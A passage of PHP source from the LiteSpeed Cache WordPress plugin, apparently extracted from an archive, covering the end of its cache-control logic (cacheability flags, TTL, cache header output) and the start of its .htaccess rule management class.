/** * Initialize cacheable status in `wp` hook, if not call this, by default it will be non-cacheable. * * @access public * @since 1.1.3 * * @param string|false $reason Reason text or false. * @return void */ public function set_cacheable( $reason = false ) { self::$_control |= self::BM_CACHEABLE; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = ' [reason] ' . $reason; } self::debug( 'Cache_control init on' . $reason ); } /** * This will disable non-cacheable BM. * * @access public * @since 2.2 * * @param string|false $reason Reason text or false. * @return void */ public static function force_cacheable( $reason = false ) { self::$_control |= self::BM_FORCED_CACHEABLE; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = ' [reason] ' . $reason; } self::debug( 'Forced cacheable' . $reason ); } /** * Switch to nocacheable status. * * @access public * @since 1.1.3 * * @param string|false $reason The reason to no cache. * @return void */ public static function set_nocache( $reason = false ) { self::$_control |= self::BM_NOTCACHEABLE; if ( ! is_string( $reason ) ) { $reason = false; } if ( $reason ) { $reason = "( $reason )"; } self::debug( 'X Cache_control -> no Cache ' . $reason, 5 ); } /** * Check current notcacheable bit set. * * @access public * @since 1.1.3 * @return bool True if notcacheable bit is set, otherwise false. */ public static function isset_notcacheable() { return self::$_control & self::BM_NOTCACHEABLE; } /** * Check current force cacheable bit set. * * @access public * @since 2.2 * @return bool */ public static function is_forced_cacheable() { return self::$_control & self::BM_FORCED_CACHEABLE; } /** * Check current cacheable status. * * @access public * @since 1.1.3 * @return bool True if is still cacheable, otherwise false. */ public static function is_cacheable() { if ( defined( 'LSCACHE_NO_CACHE' ) && LSCACHE_NO_CACHE ) { self::debug( 'LSCACHE_NO_CACHE constant defined' ); return false; } // Guest mode always cacheable // if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { // return true; // } // If it's forced public cacheable. if ( self::is_public_forced() ) { return true; } // If it's forced cacheable. if ( self::is_forced_cacheable() ) { return true; } return ! self::isset_notcacheable() && ( self::$_control & self::BM_CACHEABLE ); } /** * Set a custom TTL to use with the request if needed. * * @access public * @since 1.1.3 * * @param int|string $ttl An integer or numeric string to use as the TTL. * @param string|false $reason Optional reason text. * @return void */ public static function set_custom_ttl( $ttl, $reason = false ) { if ( is_numeric( $ttl ) ) { self::$_custom_ttl = (int) $ttl; self::debug( 'X Cache_control TTL -> ' . $ttl . ( $reason ? ' [reason] ' . $ttl : '' ) ); } } /** * Generate final TTL. * * @access public * @since 1.1.3 * @return int */ public function get_ttl() { if ( 0 !== self::$_custom_ttl ) { return (int) self::$_custom_ttl; } // Check if is in timed url list or not. $timed_urls = Utility::wildcard2regex( $this->conf( Base::O_PURGE_TIMED_URLS ) ); $timed_urls_time = $this->conf( Base::O_PURGE_TIMED_URLS_TIME ); if ( $timed_urls && $timed_urls_time ) { $current_url = Tag::build_uri_tag( true ); // Use time limit ttl. $scheduled_time = strtotime( $timed_urls_time ); $ttl = $scheduled_time - current_time('timestamp'); // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp if ( $ttl < 0 ) { $ttl += 86400; // add one day } foreach ( $timed_urls as $v ) { if ( false !== strpos( $v, '*' ) ) { if ( preg_match( '#' . $v . '#iU', $current_url ) ) { self::debug( 'X Cache_control TTL is limited to ' . $ttl . ' due to scheduled purge regex ' . $v ); return $ttl; } } elseif ( $v === $current_url ) { self::debug( 'X Cache_control TTL is limited to ' . $ttl . ' due to scheduled purge rule ' . $v ); return $ttl; } } } // Private cache uses private ttl setting. if ( self::is_private() ) { return (int) $this->conf( Base::O_CACHE_TTL_PRIV ); } if ( is_front_page() ) { return (int) $this->conf( Base::O_CACHE_TTL_FRONTPAGE ); } $feed_ttl = (int) $this->conf( Base::O_CACHE_TTL_FEED ); if ( is_feed() && $feed_ttl > 0 ) { return $feed_ttl; } if ( $this->cls( 'REST' )->is_rest() || $this->cls( 'REST' )->is_internal_rest() ) { return (int) $this->conf( Base::O_CACHE_TTL_REST ); } return (int) $this->conf( Base::O_CACHE_TTL_PUB ); } /** * Check if need to set no cache status for redirection or not. * * @access public * @since 1.1.3 * * @param string $location Redirect location. * @param int $status HTTP status. * @return string Redirect location. */ public function check_redirect( $location, $status ) { $script_uri = ''; if ( !empty( $_SERVER['SCRIPT_URI'] ) ) { $script_uri = sanitize_text_field( wp_unslash( $_SERVER['SCRIPT_URI'] ) ); } elseif ( !empty( $_SERVER['REQUEST_URI'] ) ) { $home = trailingslashit( home_url() ); $script_uri = $home . ltrim( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ), '/' ); } if ( '' !== $script_uri ) { self::debug( '301 from ' . $script_uri ); self::debug( '301 to ' . $location ); $to_check = [ PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PATH, PHP_URL_QUERY ]; $is_same_redirect = true; $query_string = ! empty( $_SERVER['QUERY_STRING'] ) ? sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ) : ''; foreach ( $to_check as $v ) { $url_parsed = PHP_URL_QUERY === $v ? $query_string : wp_parse_url( $script_uri, $v ); $target = wp_parse_url( $location, $v ); self::debug( 'Compare [from] ' . $url_parsed . ' [to] ' . $target ); if ( PHP_URL_QUERY === $v ) { $url_parsed = $url_parsed ? urldecode( $url_parsed ) : ''; $target = $target ? urldecode( $target ) : ''; if ( '&' === substr( $url_parsed, -1 ) ) { $url_parsed = substr( $url_parsed, 0, -1 ); } } if ( $url_parsed !== $target ) { $is_same_redirect = false; self::debug( '301 different redirection' ); break; } } if ( $is_same_redirect ) { self::set_nocache( '301 to same url' ); } } return $location; } /** * Sets up the Cache Control header. * * @since 1.1.3 * @access public * @return string empty string if empty, otherwise the cache control header. */ public function output() { $esi_hdr = ''; if ( ESI::has_esi() ) { $esi_hdr = ',esi=on'; } $hdr = self::X_HEADER . ': '; // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase if ( defined( 'DONOTCACHEPAGE' ) && apply_filters( 'litespeed_const_DONOTCACHEPAGE', DONOTCACHEPAGE ) ) { self::debug( '❌ forced no cache [reason] DONOTCACHEPAGE const' ); $hdr .= 'no-cache' . $esi_hdr; return $hdr; } // Guest mode directly return cacheable result // if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { // If is POST, no cache // if ( defined( 'LSCACHE_NO_CACHE' ) && LSCACHE_NO_CACHE ) { // self::debug( "[Ctrl] ❌ forced no cache [reason] LSCACHE_NO_CACHE const" ); // $hdr .= 'no-cache'; // } // else if( $_SERVER[ 'REQUEST_METHOD' ] !== 'GET' ) { // self::debug( "[Ctrl] ❌ forced no cache [reason] req not GET" ); // $hdr .= 'no-cache'; // } // else { // $hdr .= 'public'; // $hdr .= ',max-age=' . $this->get_ttl(); // } // $hdr .= $esi_hdr; // return $hdr; // } // Fix cli `uninstall --deactivate` fatal err if (!self::is_cacheable()) { $hdr .= 'no-cache' . $esi_hdr; return $hdr; } if ( self::is_shared() ) { $hdr .= 'shared,private'; } elseif ( self::is_private() ) { $hdr .= 'private'; } else { $hdr .= 'public'; } if ( self::is_no_vary() ) { $hdr .= ',no-vary'; } $hdr .= ',max-age=' . $this->get_ttl() . $esi_hdr; return $hdr; } /** * Generate all `control` tags before output. * * @access public * @since 1.1.3 * @return void */ public function finalize() { // if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { // return; // } if ( is_preview() ) { self::set_nocache( 'preview page' ); return; } // Check if has metabox non-cacheable setting or not. if ( file_exists( LSCWP_DIR . 'src/metabox.cls.php' ) && $this->cls( 'Metabox' )->setting( 'litespeed_no_cache' ) ) { self::set_nocache( 'per post metabox setting' ); return; } // Check if URI is forced public cache. $excludes = $this->conf( Base::O_CACHE_FORCE_PUB_URI ); $req_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $hit = Utility::str_hit_array( $req_uri, $excludes, true ); if ( $hit ) { list( $result, $this_ttl ) = $hit; self::set_public_forced( 'Setting: ' . $result ); self::debug( 'Forced public cacheable due to setting: ' . $result ); if ( $this_ttl ) { self::set_custom_ttl( $this_ttl ); } } if ( self::is_public_forced() ) { return; } // Check if URI is forced cache. $excludes = $this->conf( Base::O_CACHE_FORCE_URI ); $hit = Utility::str_hit_array( $req_uri, $excludes, true ); if ( $hit ) { list( $result, $this_ttl ) = $hit; self::force_cacheable(); self::debug( 'Forced cacheable due to setting: ' . $result ); if ( $this_ttl ) { self::set_custom_ttl( $this_ttl ); } } // if is not cacheable, terminate check. // Even no need to run 3rd party hook. if ( ! self::is_cacheable() ) { self::debug( 'not cacheable before ctrl finalize' ); return; } // Apply 3rd party filter. // NOTE: Hook always needs to run asap because some 3rd party set is_mobile in this hook. do_action( 'litespeed_control_finalize', defined( 'LSCACHE_IS_ESI' ) ? LSCACHE_IS_ESI : false ); // Pass ESI block id. // if is not cacheable, terminate check. if ( ! self::is_cacheable() ) { self::debug( 'not cacheable after api_control' ); return; } // Check litespeed setting to set cacheable status. if ( ! $this->_setting_cacheable() ) { self::set_nocache(); return; } // If user has password cookie, do not cache (moved from vary). global $post; if ( ! empty( $post->post_password ) && isset( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] ) ) { self::set_nocache( 'pswd cookie' ); return; } // The following check to the end is ONLY for mobile. $is_mobile_conf = apply_filters( 'litespeed_is_mobile', false ); if ( ! $this->conf( Base::O_CACHE_MOBILE ) ) { if ( $is_mobile_conf ) { self::set_nocache( 'mobile' ); } return; } $env_vary = isset( $_SERVER['LSCACHE_VARY_VALUE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['LSCACHE_VARY_VALUE'] ) ) : ''; if ( !$env_vary && isset( $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] ) ) { $env_vary = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] ) ); } if ( $env_vary && false !== strpos( $env_vary, 'ismobile' ) ) { if ( ! wp_is_mobile() && ! $is_mobile_conf ) { self::set_nocache( 'is not mobile' ); // todo: no need to uncache, it will correct vary value in vary finalize anyways. return; } } elseif ( wp_is_mobile() || $is_mobile_conf ) { self::set_nocache( 'is mobile' ); return; } } /** * Check if is mobile for filter `litespeed_is_mobile` in API. * * @since 3.0 * @access public * @return bool */ public static function is_mobile() { return wp_is_mobile(); } /** * Get request method w/ compatibility to X-Http-Method-Override. * * @since 6.2 * @return string */ private function _get_req_method() { if ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) { $override = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ); self::debug( 'X-Http-Method-Override -> ' . $override ); if ( ! defined( 'LITESPEED_X_HTTP_METHOD_OVERRIDE' ) ) { define( 'LITESPEED_X_HTTP_METHOD_OVERRIDE', true ); } return $override; } if ( isset( $_SERVER['REQUEST_METHOD'] ) ) { return sanitize_text_field( wp_unslash( $_SERVER['REQUEST_METHOD'] ) ); } return 'unknown'; } /** * Check if a page is cacheable based on litespeed setting. * * @since 1.0.0 * @access private * @return bool True if cacheable, false otherwise. */ private function _setting_cacheable() { // logged_in users already excluded, no hook added. // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $_REQUEST[ Router::ACTION ] ) ) { return $this->_no_cache_for( 'Query String Action' ); } $method = $this->_get_req_method(); if ( defined( 'LITESPEED_X_HTTP_METHOD_OVERRIDE' ) && LITESPEED_X_HTTP_METHOD_OVERRIDE && 'HEAD' === $method ) { return $this->_no_cache_for( 'HEAD method from override' ); } if ( 'GET' !== $method && 'HEAD' !== $method ) { return $this->_no_cache_for( 'Not GET method: ' . $method ); } if ( is_feed() && 0 === $this->conf( Base::O_CACHE_TTL_FEED ) ) { return $this->_no_cache_for( 'feed' ); } if ( is_trackback() ) { return $this->_no_cache_for( 'trackback' ); } if ( is_search() ) { return $this->_no_cache_for( 'search' ); } // Check private cache URI setting. $excludes = $this->conf( Base::O_CACHE_PRIV_URI ); $req_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; $result = Utility::str_hit_array( $req_uri, $excludes ); if ( $result ) { self::set_private( 'Admin cfg Private Cached URI: ' . $result ); } if ( ! self::is_forced_cacheable() ) { // Check if URI is excluded from cache. $excludes = $this->cls( 'Data' )->load_cache_nocacheable( $this->conf( Base::O_CACHE_EXC ) ); $result = Utility::str_hit_array( $req_uri, $excludes ); if ( $result ) { return $this->_no_cache_for( 'Admin configured URI Do not cache: ' . $result ); } // Check QS excluded setting. $excludes = $this->conf( Base::O_CACHE_EXC_QS ); $qs_hit = $this->_is_qs_excluded( $excludes ); if ( ! empty( $excludes ) && $qs_hit ) { return $this->_no_cache_for( 'Admin configured QS Do not cache: ' . $qs_hit ); } $excludes = $this->conf( Base::O_CACHE_EXC_CAT ); if ( ! empty( $excludes ) && has_category( $excludes ) ) { return $this->_no_cache_for( 'Admin configured Category Do not cache.' ); } $excludes = $this->conf( Base::O_CACHE_EXC_TAG ); if ( ! empty( $excludes ) && has_tag( $excludes ) ) { return $this->_no_cache_for( 'Admin configured Tag Do not cache.' ); } $excludes = $this->conf( Base::O_CACHE_EXC_COOKIES ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- names only, compared as keys. if ( ! empty( $excludes ) && ! empty( $_COOKIE ) ) { $cookie_hit = array_intersect( array_keys( $_COOKIE ), $excludes ); if ( $cookie_hit ) { return $this->_no_cache_for( 'Admin configured Cookie Do not cache.' ); } } $excludes = $this->conf( Base::O_CACHE_EXC_USERAGENTS ); if ( ! empty( $excludes ) && isset( $_SERVER['HTTP_USER_AGENT'] ) ) { $nummatches = preg_match( Utility::arr2regex( $excludes ), sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) ); if ( $nummatches ) { return $this->_no_cache_for( 'Admin configured User Agent Do not cache.' ); } } // Check if is exclude roles ( Need to set Vary too ). $result = $this->in_cache_exc_roles(); if ( $result ) { return $this->_no_cache_for( 'Role Excludes setting ' . $result ); } } return true; } /** * Write a debug message for if a page is not cacheable. * * @since 1.0.0 * @access private * * @param string $reason An explanation for why the page is not cacheable. * @return bool Always false. */ private function _no_cache_for( $reason ) { self::debug( 'X Cache_control off - ' . $reason ); return false; } /** * Check if current request has qs excluded setting. * * @since 1.3 * @access private * * @param array<int,string> $excludes QS excludes setting. * @return bool|string False if not excluded, otherwise the hit qs list. */ private function _is_qs_excluded( $excludes ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $_GET ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $keys = array_keys( $_GET ); $intersect = array_intersect( $keys, $excludes ); if ( $intersect ) { return implode( ',', $intersect ); } } return false; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/htaccess.cls.php��������������������������������������������������������0000644�����������������00000073476�15233526476�0015157 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The htaccess rewrite rule operation class. * * Responsible for reading, writing, and generating .htaccess rules used by LiteSpeed Cache. * * @package LiteSpeed * @since 1.0.0 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Htaccess * * Provides utilities to locate, read, backup, and write .htaccess files for both frontend and backend, * as well as generate and manage LiteSpeed-specific rule blocks. */ class Htaccess extends Root { /** * Absolute path to the frontend `.htaccess`. * * @var string|null */ private $frontend_htaccess = null; /** * Default/auto-detected frontend `.htaccess` path before filters/overrides. * * @var string|null */ private $_default_frontend_htaccess = null; /** * Absolute path to the backend `.htaccess`. * * @var string|null */ private $backend_htaccess = null; /** * Default/auto-detected backend `.htaccess` path before filters/overrides. * * @var string|null */ private $_default_backend_htaccess = null; /** * Whether the frontend `.htaccess` (or its directory) is readable. * * @var bool */ private $frontend_htaccess_readable = false; /** * Whether the frontend `.htaccess` (or its directory) is writable. * * @var bool */ private $frontend_htaccess_writable = false; /** * Whether the backend `.htaccess` (or its directory) is readable. * * @var bool */ private $backend_htaccess_readable = false; /** * Whether the backend `.htaccess` (or its directory) is writable. * * @var bool */ private $backend_htaccess_writable = false; /** * Lines that turn on and guard rewrite/module blocks. * * @var array<int,string> */ private $__rewrite_on; /** * Lines that turn on and guard general rewrite/module blocks. * * @var array<int,string> */ private $__rewrite_general; const LS_MODULE_START = '<IfModule LiteSpeed>'; const EXPIRES_MODULE_START = '<IfModule mod_expires.c>'; const LS_MODULE_END = '</IfModule>'; const LS_MODULE_REWRITE_START = '<IfModule mod_rewrite.c>'; const REWRITE_ON = 'RewriteEngine on'; const LS_MODULE_DONOTEDIT = '## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##'; const MARKER = 'LSCACHE'; const MARKER_NONLS = 'NON_LSCACHE'; const MARKER_LOGIN_COOKIE = '### marker LOGIN COOKIE'; const MARKER_ASYNC = '### marker ASYNC'; const MARKER_CRAWLER = '### marker CRAWLER'; const MARKER_MOBILE = '### marker MOBILE'; const MARKER_NOCACHE_COOKIES = '### marker NOCACHE COOKIES'; const MARKER_NOCACHE_USER_AGENTS = '### marker NOCACHE USER AGENTS'; const MARKER_CACHE_RESOURCE = '### marker CACHE RESOURCE'; const MARKER_BROWSER_CACHE = '### marker BROWSER CACHE'; const MARKER_MINIFY = '### marker MINIFY'; const MARKER_CORS = '### marker CORS'; const MARKER_WEBP = '### marker WEBP'; const MARKER_DROPQS = '### marker DROPQS'; const MARKER_START = ' start ###'; const MARKER_END = ' end ###'; /** * Initialize the class and set its properties. * * @since 1.0.7 */ public function __construct() { $this->_path_set(); $this->_default_frontend_htaccess = $this->frontend_htaccess; $this->_default_backend_htaccess = $this->backend_htaccess; $frontend_htaccess = defined( 'LITESPEED_CFG_HTACCESS' ) ? constant( 'LITESPEED_CFG_HTACCESS' ) : false; if ( $frontend_htaccess && substr( $frontend_htaccess, -10 ) === '/.htaccess' ) { $this->frontend_htaccess = $frontend_htaccess; } $backend_htaccess = defined( 'LITESPEED_CFG_HTACCESS_BACKEND' ) ? constant( 'LITESPEED_CFG_HTACCESS_BACKEND' ) : false; if ( $backend_htaccess && substr( $backend_htaccess, -10 ) === '/.htaccess' ) { $this->backend_htaccess = $backend_htaccess; } // Filter for frontend & backend htaccess path. $this->frontend_htaccess = apply_filters( 'litespeed_frontend_htaccess', $this->frontend_htaccess ); $this->backend_htaccess = apply_filters( 'litespeed_backend_htaccess', $this->backend_htaccess ); clearstatcache(); // Frontend .htaccess privilege. $test_permissions = file_exists( $this->frontend_htaccess ) ? $this->frontend_htaccess : dirname( $this->frontend_htaccess ); if ( is_readable( $test_permissions ) ) { $this->frontend_htaccess_readable = true; } if ( is_writable( $test_permissions ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_is_writable -- Checking permissions, not file operations. $this->frontend_htaccess_writable = true; } // General Rewrite Rules (Files/Logs protection) $this->__rewrite_general = [ self::LS_MODULE_REWRITE_START, // <IfModule mod_rewrite.c> self::REWRITE_ON, // RewriteEngine on 'RewriteRule ' . preg_quote(LITESPEED_DATA_FOLDER) . '/debug/.*\.log$ - [F,L]', // phpcs:ignore WordPress.PHP.PregQuoteDelimiter.Missing 'RewriteRule ' . preg_quote(self::CONF_FILE) . ' - [F,L]', // phpcs:ignore WordPress.PHP.PregQuoteDelimiter.Missing self::LS_MODULE_END, // </IfModule> ]; $this->__rewrite_on = [ 'CacheLookup on', 'RewriteRule .* - [E=Cache-Control:no-autoflush]', ]; // Backend .htaccess privilege. if ( $this->frontend_htaccess === $this->backend_htaccess ) { $this->backend_htaccess_readable = $this->frontend_htaccess_readable; $this->backend_htaccess_writable = $this->frontend_htaccess_writable; } else { $test_permissions = file_exists( $this->backend_htaccess ) ? $this->backend_htaccess : dirname( $this->backend_htaccess ); if ( is_readable( $test_permissions ) ) { $this->backend_htaccess_readable = true; } if ( is_writable( $test_permissions ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_is_writable -- Checking permissions, not file operations. $this->backend_htaccess_writable = true; } } } /** * Get if htaccess file is readable. * * @since 1.1.0 * * @param string $kind 'frontend' or 'backend'. * @return bool */ private function _readable( $kind = 'frontend' ) { if ( 'frontend' === $kind ) { return $this->frontend_htaccess_readable; } if ( 'backend' === $kind ) { return $this->backend_htaccess_readable; } return false; } /** * Get if htaccess file is writable. * * @since 1.1.0 * * @param string $kind 'frontend' or 'backend'. * @return bool */ public function writable( $kind = 'frontend' ) { if ( 'frontend' === $kind ) { return $this->frontend_htaccess_writable; } if ( 'backend' === $kind ) { return $this->backend_htaccess_writable; } return false; } /** * Get frontend htaccess path. * * @since 1.1.0 * * @param bool $show_default Whether to return the default/auto-detected path. * @return string */ public static function get_frontend_htaccess( $show_default = false ) { if ( $show_default ) { return self::cls()->_default_frontend_htaccess; } return self::cls()->frontend_htaccess; } /** * Get backend htaccess path. * * @since 1.1.0 * * @param bool $show_default Whether to return the default/auto-detected path. * @return string */ public static function get_backend_htaccess( $show_default = false ) { if ( $show_default ) { return self::cls()->_default_backend_htaccess; } return self::cls()->backend_htaccess; } /** * Check to see if .htaccess exists starting at $start_path and going up directories until it hits DOCUMENT_ROOT. * * As dirname() strips the ending '/', paths passed in must exclude the final '/'. * * @since 1.0.11 * @access private * * @param string $start_path Absolute path to begin searching from (without trailing slash). * @return string|false The directory containing .htaccess, or false if not found. */ private function _htaccess_search( $start_path ) { while ( ! file_exists( $start_path . '/.htaccess' ) ) { if ( '/' === $start_path || ! $start_path ) { return false; } $doc_root = ! empty( $_SERVER['DOCUMENT_ROOT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['DOCUMENT_ROOT'] ) ) : ''; if ( $doc_root && wp_normalize_path( $start_path ) === wp_normalize_path( $doc_root ) ) { return false; } if ( dirname( $start_path ) === $start_path ) { return false; } $start_path = dirname( $start_path ); } return $start_path; } /** * Set the path class variables. * * @since 1.0.11 * @access private * @return void */ private function _path_set() { $frontend = Router::frontend_path(); $frontend_htaccess_search = $this->_htaccess_search( $frontend ); // The existing .htaccess path to be used for frontend .htaccess. $this->frontend_htaccess = $frontend; if ( $frontend_htaccess_search ) { $this->frontend_htaccess = $frontend_htaccess_search; } $this->frontend_htaccess .= '/.htaccess'; $backend = realpath( ABSPATH ); // /home/user/public_html/backend/ if ( $frontend === $backend ) { $this->backend_htaccess = $this->frontend_htaccess; return; } // Backend is a different path. $backend_htaccess_search = $this->_htaccess_search( $backend ); // Found affected .htaccess. if ( $backend_htaccess_search ) { $this->backend_htaccess = $backend_htaccess_search . '/.htaccess'; return; } // Frontend path is the parent of backend path. if ( 0 === stripos( (string) $backend, $frontend . '/' ) ) { // Backend uses frontend htaccess. $this->backend_htaccess = $this->frontend_htaccess; return; } $this->backend_htaccess = $backend . '/.htaccess'; } /** * Get corresponding htaccess path. * * @since 1.1.0 * * @param string $kind Frontend or backend. * @return string Path. */ public function htaccess_path( $kind = 'frontend' ) { switch ( $kind ) { case 'backend': $path = $this->backend_htaccess; break; case 'frontend': default: $path = $this->frontend_htaccess; break; } return $path; } /** * Get the content of the rules file. * * NOTE: will throw error if failed. * * @since 1.0.4 * @since 2.9 Used exception for failed reading. * @access public * * @param string $kind 'frontend' or 'backend'. * @return string The file content. * @throws \Exception If the file is not readable or cannot be retrieved. */ public function htaccess_read( $kind = 'frontend' ) { $path = $this->htaccess_path( $kind ); if ( ! $path || ! file_exists( $path ) ) { return "\n"; } if ( ! $this->_readable( $kind ) ) { Error::t( 'HTA_R' ); } $content = File::read( $path ); if ( false === $content ) { Error::t( 'HTA_GET' ); } // Remove ^M characters. $content = str_ireplace( "\x0D", '', $content ); return $content; } /** * Try to backup the .htaccess file if we didn't save one before. * * NOTE: will throw error if failed. * * @since 1.0.10 * @access private * * @param string $kind 'frontend' or 'backend'. * @return void * @throws \Exception If backup fails. */ private function _htaccess_backup( $kind = 'frontend' ) { $path = $this->htaccess_path( $kind ); if ( ! file_exists( $path ) ) { return; } if ( file_exists( $path . '.bk' ) ) { return; } $res = copy( $path, $path . '.bk' ); // Failed to backup, abort. if ( ! $res ) { Error::t( 'HTA_BK' ); } } /** * Get mobile view rule from htaccess file. * * NOTE: will throw error if failed. * * @since 1.1.0 * * @return string The user agent regex for mobile detection. * @throws \Exception If the rule cannot be found. */ public function current_mobile_agents() { $rules = $this->_get_rule_by( self::MARKER_MOBILE ); if ( ! isset( $rules[0] ) ) { Error::t( 'HTA_DNF', self::MARKER_MOBILE ); } $rule = trim( $rules[0] ); $match = substr( $rule, strlen( 'RewriteCond %{HTTP_USER_AGENT} ' ), -strlen( ' [NC]' ) ); if ( ! $match ) { Error::t( 'HTA_DNF', __( 'Mobile Agent Rules', 'litespeed-cache' ) ); } return $match; } /** * Parse rewrites rule from the .htaccess file. * * NOTE: will throw error if failed. * * @since 1.1.0 * @access public * * @param string $kind 'frontend' or 'backend'. * @return string The parsed login-cookie vary rule. * @throws \Exception If the rule cannot be found or is invalid. */ public function current_login_cookie( $kind = 'frontend' ) { $rule = $this->_get_rule_by( self::MARKER_LOGIN_COOKIE, $kind ); if ( ! $rule ) { Error::t( 'HTA_DNF', self::MARKER_LOGIN_COOKIE ); } if ( 0 !== strpos( $rule, 'RewriteRule .? - [E=' ) ) { Error::t( 'HTA_LOGIN_COOKIE_INVALID' ); } $rule_cookie = substr( $rule, strlen( 'RewriteRule .? - [E=' ), -1 ); if ( LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS' ) { $rule_cookie = trim( $rule_cookie, '"' ); } // Drop `Cache-Vary:`. $rule_cookie = substr( $rule_cookie, strlen( 'Cache-Vary:' ) ); return $rule_cookie; } /** * Get rewrite rules based on the marker. * * @since 2.0 * @access private * * @param string $cond Marker constant (e.g. self::MARKER_MOBILE). * @param string $kind 'frontend' or 'backend'. * @return string|array<int,string>|false Rule(s) or false if not found. */ private function _get_rule_by( $cond, $kind = 'frontend' ) { clearstatcache(); $path = $this->htaccess_path( $kind ); if ( ! $this->_readable( $kind ) ) { return false; } $rules = File::extract_from_markers( $path, self::MARKER ); if ( ! in_array( $cond . self::MARKER_START, $rules, true ) || ! in_array( $cond . self::MARKER_END, $rules, true ) ) { return false; } $key_start = array_search( $cond . self::MARKER_START, $rules, true ); $key_end = array_search( $cond . self::MARKER_END, $rules, true ); if ( false === $key_start || false === $key_end ) { return false; } $results = array_slice( $rules, $key_start + 1, $key_end - $key_start - 1 ); if ( ! $results ) { return false; } if ( count( $results ) === 1 ) { return trim( $results[0] ); } return array_filter( $results ); } /** * Generate browser cache rules. * * @since 1.3 * @access private * * @param array<string,mixed> $cfg The plugin configuration. * @return array<int,string> Rules set. */ private function _browser_cache_rules( $cfg ) { /** * Add ttl setting. * * @since 1.6.3 */ $id = Base::O_CACHE_TTL_BROWSER; $ttl = $cfg[ $id ]; $rules = array( self::EXPIRES_MODULE_START, 'ExpiresActive on', 'ExpiresByType application/pdf A' . $ttl, 'ExpiresByType image/x-icon A' . $ttl, 'ExpiresByType image/vnd.microsoft.icon A' . $ttl, 'ExpiresByType image/svg+xml A' . $ttl, '', 'ExpiresByType image/jpg A' . $ttl, 'ExpiresByType image/jpeg A' . $ttl, 'ExpiresByType image/png A' . $ttl, 'ExpiresByType image/gif A' . $ttl, 'ExpiresByType image/webp A' . $ttl, 'ExpiresByType image/avif A' . $ttl, '', 'ExpiresByType video/ogg A' . $ttl, 'ExpiresByType audio/ogg A' . $ttl, 'ExpiresByType video/mp4 A' . $ttl, 'ExpiresByType video/webm A' . $ttl, '', 'ExpiresByType text/css A' . $ttl, 'ExpiresByType text/javascript A' . $ttl, 'ExpiresByType application/javascript A' . $ttl, 'ExpiresByType application/x-javascript A' . $ttl, '', 'ExpiresByType application/x-font-ttf A' . $ttl, 'ExpiresByType application/x-font-woff A' . $ttl, 'ExpiresByType application/font-woff A' . $ttl, 'ExpiresByType application/font-woff2 A' . $ttl, 'ExpiresByType application/vnd.ms-fontobject A' . $ttl, 'ExpiresByType font/ttf A' . $ttl, 'ExpiresByType font/otf A' . $ttl, 'ExpiresByType font/woff A' . $ttl, 'ExpiresByType font/woff2 A' . $ttl, '', self::LS_MODULE_END, ); return $rules; } /** * Generate CORS rules for fonts. * * @since 1.5 * @access private * * @return array<int,string> Rules set. */ private function _cors_rules() { return array( '<FilesMatch "\.(ttf|ttc|otf|eot|woff|woff2|font\.css)$">', '<IfModule mod_headers.c>', 'Header set Access-Control-Allow-Origin "*"', '</IfModule>', '</FilesMatch>', ); } /** * Generate rewrite rules based on settings. * * @since 1.3 * @access private * * @param array<string,mixed> $cfg The settings to be used for rewrite rule. * @return array{0:array<int,string>,1:array<int,string>,2:array<int,string>,3:array<int,string>} Rules arrays [frontend_ls, backend_ls, frontend_nonls, backend_nonls]. */ private function _generate_rules( $cfg ) { $new_rules = array(); $new_rules_nonls = array(); $new_rules_backend = array(); $new_rules_backend_nonls = array(); // continual crawler. $new_rules[] = self::MARKER_ASYNC . self::MARKER_START; $new_rules[] = 'RewriteCond %{REQUEST_URI} /wp-admin/admin-ajax\.php'; $new_rules[] = 'RewriteCond %{QUERY_STRING} action=async_litespeed'; $new_rules[] = 'RewriteRule .* - [E=noabort:1]'; $new_rules[] = self::MARKER_ASYNC . self::MARKER_END; $new_rules[] = ''; // mobile agents. $id = Base::O_CACHE_MOBILE_RULES; if ( ( ! empty( $cfg[ Base::O_CACHE_MOBILE ] ) || ! empty( $cfg[ Base::O_GUEST ] ) ) && ! empty( $cfg[ $id ] ) ) { $new_rules[] = self::MARKER_MOBILE . self::MARKER_START; $new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} ' . Utility::arr2regex( $cfg[ $id ], true ) . ' [NC]'; $new_rules[] = 